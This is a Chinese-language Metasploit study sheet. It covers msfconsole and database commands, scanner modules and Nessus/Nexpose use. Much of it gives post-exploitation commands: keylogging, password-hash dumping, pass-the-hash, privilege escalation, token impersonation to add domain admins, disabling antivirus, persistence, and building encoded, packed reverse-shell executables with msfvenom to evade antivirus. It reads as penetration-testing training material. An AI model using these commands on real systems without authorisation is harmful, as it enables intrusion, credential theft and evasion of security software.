目录
基础
使用指南
接口
功能程序
基础功能
载荷配置
攻击方式
msfvenom
附属功能
数据库
nexpose
nessus
自建脚本
常用模块介绍
情报搜集——扫描模块
渗透攻击
后渗透攻击(Meterpreter)
免杀技术
相关知识
情报搜集:通常使用信息探测等方式获取目标主机的信息,信息探测分为主动信息探测和被动信息探测,常用工具包括nmap,其通常不使用Metasploit或在Metasploit中引入使用nmap。
漏洞扫描:通常使用Nexpose和Nessus等工具对目标主机进行漏洞扫描,其可直接使用这些工具或在Metasploit中引入使用。
渗透攻击:根据挖掘到的漏洞使用对应的渗透代码和挂载相关可以使用的攻击载荷。
后渗透攻击:使用Metasploit中的后渗透攻击模块,其最常用的工具为Meterpreter。
综上所述,Metasploit主要使用的方向是渗透攻击和后渗透攻击。
【图形模式】armitage界面打开方式:终端中输入msfdb init,再输入armitage。
【命令模式】MSF终端打开方式:终端输入msfconsole
1、MSF攻击载荷生成器->集成在msfvenom
2、MSF编码器->集成在msfvenom
3、Nasm shell->在找到的路径下命令行:./nasm_shell.rb
命令 | 功能 |
---|---|
help [命令]/[命令] -h | 查看帮助 |
exit |
退出 |
load [工具名称] | 导入某工具(例如nexpose、nessus等) |
back | 回退上一步 |
载荷配置名称不一定要大写,但这是个好习惯
载荷名称 | 意义 |
---|---|
LHOST | 本地主机 |
RHOSTS | 目标机 |
RPORT | 目标端口 |
TARGET | 目标系统类型(用标记符号/数字) |
THREADS | 扫描线程数(加快扫描速度) |
PASS_FILE | 暴力猜解的字典文件 |
USERNAME | 用户登录的用户名 |
SMBPass | 设置哈希值 |
脚本内容:
use [漏洞]
set RHOST [IP]
set PAYLOAD [后门]
set LHOST [IP]
run
命令行:./msfconsole -r [路径/脚本名.rc]
msfvenom -p [载荷] --payload-options 列出某攻击载荷的配置
msfvenom -l encoders 列出编码器
命令行:/etc/init.d/postgresql start
msf:db_connect postgres:toor@[IP]/msf
命令 | 功能 |
---|---|
db_status | 查看连接状态 |
db_import [文件] | 导入某文件//.xml、.nessus |
db_hosts [命令] | 查看数据库中数据 |
db_nmap [命令] | 在数据库中使用nmap |
service [命令] | 服务命令 |
db_vulns | 查看导入漏洞详情 |
load nexpose 导入nexpose
命令 | 功能 |
---|---|
nexpose_connect -h | 查看nexpose连接所需参数 |
nexpose_connect [用户名]:[密码]@[IP] ok | 连接到nexpose |
nexpose_scan [IP] | 扫描IP地址 |
load nessus 导入nessus
命令 | 功能 |
---|---|
nessus_connect [用户名]:[密码]@localhost:8834 ok | 连接nessus,通过https://localhost:8834/ |
nessus_policy_list | 查看服务器上已经定义的扫描策略 |
nessus_help | 查看Nessus桥插件支持的所有命令 |
nessus_scan_new [ID号] [任务名字] [目标IP] | 新建扫描任务 |
nessus_scan_launch [ID号] | 手动启动扫描 |
nessus_scan_list | 查看扫描任务的运行状态 |
nessus_db_import [ID号] | 将扫描报告导入数据库中 |
编写rc文件
外部脚本位置:scripts/[子目录]/……
模块 | 功能 |
---|---|
auxiliary/scanner/ip/ipidseq | 寻找满足TCP空闲扫描要求的空闲主机 |
auxiliary/scanner/portscan/syn | syn端口扫描//查看开放的端口 |
auxiliary/scanner/smb/smb_version | 判断windows版本 |
auxiliary/scanner/mssql/mssql_ping | UDP协议扫描所有的MS SQL服务器信息 |
auxiliary/scanner/ssh/ssh_version | 扫描ssh版本 |
auxilary/scanner/ftp/ftp_version | 扫描ftp版本 |
auxilary/scanner/ftp/anonymous | 查看ftp服务器是否允许匿名用户登录 |
auxiliary/scanner/snmp/snmp_enum | 扫描snmp |
auxiliary/scanner/snmp/snmp_login | snmp登陆器(可以通过猜解登陆) |
auxiliary/scanner/vnc/vnc_none_auth | VNC空口令(VNC已经更新,不容易扫描到肉鸡) |
auxiliary/scanner/x11/open_x11 | 扫描x11服务器 |
工具:MSF终端(msfconsole)、MSF编码器(msfencode)、MSF攻击载荷生成器(msfpayload)
理论:攻击载荷(payload)是系统被攻陷后执行的操作。通常攻击载荷附加于漏洞攻击模块之上,随漏洞攻击一起分发。
show exploits 显示所有渗透攻击模块
show auxiliary 显示所有辅助模块
info [模块] 显示模块详细信息//在当前模块下可以直接用info
search [关键字] 查找关键字
search [关键字] 查找关键字
use [模块] 使用某一工具
show targets 显示当前模块可以影响的目标系统类型
show payloads 显示与当前模块兼容的攻击载荷
set payload [载荷] 设置载荷
show options 查看应该配置的选项
set [选项] [参数] 配置选项
unset [选项] 禁用选项
setg [选项] [参数] 设置全局变量
unsetg [选项] 清楚全局变量
run 运行
save 保存当前设置值,下次启动时还可以使用
exploit 攻击
sessions -l 查看远程运行的meterpreter情况
sessions -l -v 查看多台远程运行的meterpreter情况
sessions -i -[序号] 与某序号的控制会话进行交互
shell 进入目标系统的交互命令行shell中
exploit -[参数]
resource [文件名].rc 载入某rc资源文件(需在当前目录下启动msfconsole或输入路径)
msfconsole -r [文件名].rc 运行某rc文件
--获取信息--
screenshot 截屏
sysinfo 获取系统运行的平台
ps 获取目标系统正在运行的进程
migrate [序号] 迁移会话到某序号的进程中
run post/windows/capture/keylog_recorder 启用windows的键盘记录
--挖掘用户名和密码--
use priv 运行在特权账号
run post/windows/gather/hashdump 获取目标用户名和密码哈希值
--哈希传递--
use windows/smb/psexec
之后设置参数(包括哈希值参数)发起攻击就行
--提权——准备--
在目标windows上:
net user [用户名] [密码] /add 添加新账号
创建Meterpreter控制台:
使用某攻击载荷
exploit 发起攻击
getuid 得到控制台
shell 进入shell
--提权——获取管理员或SYSTEM权限--
use priv 加载priv扩展
getsystem 尝试提权
getuid 检查获取的权限等级(若为NT AUTHORIY|SYSTEM则成功)
--令牌假冒--
1、管理员令牌
ps 列举当前运行的应用程序以及运行这些应用的用户账号
steal_token [PID] 假冒某PID登陆的管理员账号
2、所有可用令牌
use incognito
list_tokens -u 列举令牌
impersonate_token [令牌名] 扮演某令牌(假若令牌中含\,应在该命令中使用\\代替\)
add_user [用户名] [密码] -h [IP] 添加用户并将其假如到目的IP地址
add_group_user "Domain Admins" omgcompromised -h [IP] 赋予域管理员权限
--跳板攻击--
利用当前攻陷的主机作为跳板去攻击网络中的其他系统(局域网内攻击,已经攻陷的主机和目标机都应该用内网IP地址)。
run get_local_subnets 展示受控系统上的本地子网
background 将攻击会话放到后台运行
route add [接口地址] [网络掩码] [会话ID] 添加路由命令,设置接口地址和接口网络掩码,设置会话ID
//load auto_add_route 自动化添加路由
route print 显示当前活跃的路由设置
--迁徙进程--
若通过某服务进行漏洞利用,目标主机关闭该进程,则连接也将丢失,故需要迁徙进程,将会话转移到内存空间中
run post/windows/manage/migrate
--关闭杀软--
run killav
--获取系统密码哈希值--
run hashdump
--查看目标机上的所有流量--
run packetrecorder -i -1
--攫取系统信息--
run scraper
--控制持久化--
persistence脚本允许注入Meterpreter代理,以确保系统重启之后Meterpreter还能运行。如果是反弹连接方式,可以设置连接攻击机的时间间隔。如果是绑定方式,可以设置在指定时间绑定开放端口。注意:完成该功能之后要进行移除。如果没有移除,任何攻击者无须认证都可以获取系统的访问权。
run persistence -X -i [秒数] -p [端口] -r [目标IP] -X 自启动 -i 多少秒重连依次 -p 使用端口 -r 连接的目的IP
use multi/handler
back
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT [端口]
set LHOST [目标IP]
exploit
删除Meterpreter代理方法:
删除HKLM\Software\Microsoft\Windows\CurrentVersion\Run\中的 注册表键和C:\WINDOWS\TEMP中的VBScript文件。(注意:注册表中的键每次都会改变,所以要在Metasploit添加注册表键的时候做好记录)
--列举后渗透攻击模块--
run post/ 点击TAB后回车
--将命令行shell升级为Meterpreter--
sessions -u [参数] 将shell升级到Meterpreter
--使用附加的Railgun组件操作WindowsAPI--
irb
--使用脚本--
run [脚本]
常用脚本:
vnc 在远程系统上安装vnc会话
screen 运行查看屏幕
screen_unlock 解锁目标桌面
--其他操作--
ctrl+z 推出shell并保留Meterpreter会话
--使用MSF攻击载荷生成器创建可独立运行的二进制文件--
msfvenom -p windows/shell_reverse_tcp --payload-options
msfvenom -p windows/shell_reverse_tcp LHOST=[目标IP地址] LPORT=[目标端口] -f exe -o [文件名].exe
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
show options
set LHOST [目标IP地址]
set LPORT [目标端口]
--使用MSF编码器--
msfvenom -l encoders 列出所有可用的编码格式
msfvenom -p [攻击载荷模块] LHOST=[目标IP地址] LPORT=[目标端口] -e [MSF编码器] -f exe -o [输出文件名].exe
可以多次使用MSF编码器对其进行编码,msfvenom中常用命令包括-i [次数]和 | (连接)。
msfvenom -x [模板文件]使用Windows可执行程序来代替默认模板文件。
msfvenom -k 配置攻击载荷在一个独立的线程中启动,不影响宿主程序执行(不一定能用于所有可执行文件)
--使用加壳软件--
加壳软件是一类能够对可执行文件进行加密压缩并将解压代码嵌入其中地工具。当加过壳的文件被执行时,解压代码会从已压缩的数据中重建原始程序并运行。
upx是Kali Linux中一款加壳软件。
--Metasploit Pro动态载荷实现免杀--
等我买得起这个软件再说吧。
1、windows系统存储哈希值一般为LAN Manager(LM)、NT LAN Manager(NTLM)、NTLAN Manager(NTLMv2)。